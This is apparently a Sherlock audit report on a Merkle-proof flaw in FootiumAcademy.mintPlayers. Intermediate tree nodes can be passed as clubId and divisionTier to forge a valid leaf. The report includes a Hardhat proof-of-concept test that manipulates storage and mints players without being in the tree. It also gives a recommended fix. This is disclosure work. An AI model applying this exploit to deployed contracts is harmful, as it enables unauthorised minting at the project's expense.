qpzm - FootiumAcademy.mintPlayers may misinterpret an intermediate node as a leaf.

[sherlock-admin]

qpzm

high

FootiumAcademy.mintPlayers may misinterpret an intermediate node as a leaf.

Summary

FootiumAcademy.mintPlayers may misinterpret an intermediate node as a leaf.

Vulnerability Detail

keccak256(abi.encodePacked(clubId, divisionTier)) takes two 32-byte input and returns 32 bytes.
This is equal to the process of MerkleProof._hashPair.
If a malicious user use a pair of intermediate nodes as clubId and divisionTier, the merkle proof verification will pass.
https://github.com/sherlock-audit/2023-04-footium/blob/main/footium-eth-shareable/contracts/FootiumAcademy.sol#L239

MerkleProofUpgradeable.verify(
    divisionProof,
    _clubDivsMerkleRoot,
    keccak256(abi.encodePacked(clubId, divisionTier))
)

The vulnerability of 64-byte input is explained in detail in the following issue.
OpenZeppelin/openzeppelin-contracts#3091

Impact

If there is a FootiumClub NFT with id equals to one of the intermediate node of the merkle tree, the owner will be able
to mint players, even if he/she is not in the merkle leaves.

Code Snippet

I changed this test as below and it passed.
https://github.com/sherlock-audit/2023-04-footium/blob/main/footium-eth-shareable/test/FootiumAcademy.test.ts#L247

        it("can mint players", async () => {
            // const divisionTier = 4;
            const generationIds = [0, 1, 2, 3, 4, 5, 6];
            const ethAmount = ethers.BigNumber.from(divisionFees[0]).mul(
                generationIds.length
            );

            const distributorBalanceBefore = await ethers.provider.getBalance(
                distributor.address
            );

            // 1. Assumption: One of intermediate nodes is equal to an existing clubId
            const clubId = hashClubDivisionInputs([2,2]);

            // Set FootiumClub.owners(clubId) = addr1.address
            const value = ethers.utils.hexlify(ethers.utils.zeroPad(addr1.address, 32))
            const ownersSlot = 103;
            const ownersValueSlot = calcStroageSlot(clubId, ownersSlot);
            await ethers.provider.send("hardhat_setStorageAt", [clubs.address, ownersValueSlot, value])


            // Set FootiumClub.escrow(clubId) = addr1.address
            const clubToEscrowSlot = 352;
            const escrowSlot = calcStroageSlot(clubId, clubToEscrowSlot);
            await ethers.provider.send("hardhat_setStorageAt", [clubs.address, escrowSlot, value])

            // 2. Exploit
            // Set `divisionTier` to the pair node of `clubId`
            const divisionTier = hashClubDivisionInputs([1, 1]);
            const proof = [
                Buffer.from('56176d99dd782b5af4a770f31b01589fdcf57380ec72f9ddf7d69d14eeb244e9', 'hex'),
                Buffer.from('7925decdce96e418fd327c5582e72db17cdbd59e17de4be4eae814a68cf94e50', 'hex')
            ]

            await expect(academy
                .connect(addr1)
                .mintPlayers(
                    1,
                    clubId,
                    divisionTier,
                    generationIds,
                    proof,
                    {
                        value: ethAmount,
                    }
                )).to.not.reverted;

            const distributorBalanceAfter = await ethers.provider.getBalance(
                distributor.address
            );
            const divisionFee = await academy.divisionToFee(divisionTier);
            const expectedBalance =
                generationIds.length * parseInt(divisionFee.toString());

            expect(
                distributorBalanceAfter.sub(distributorBalanceBefore).toString()
            ).to.equal(expectedBalance.toString());
        });
    });

Tool used

Manual Review

Recommendation

The input length should not be 64 bytes. For example, if divisionTier is not that many, we can cast it to smaller bytes.

MerkleProofUpgradeable.verify(
    divisionProof,
    _clubDivsMerkleRoot,
    keccak256(abi.encodePacked(clubId, uint248(divisionTier)))
)

Duplicate of #300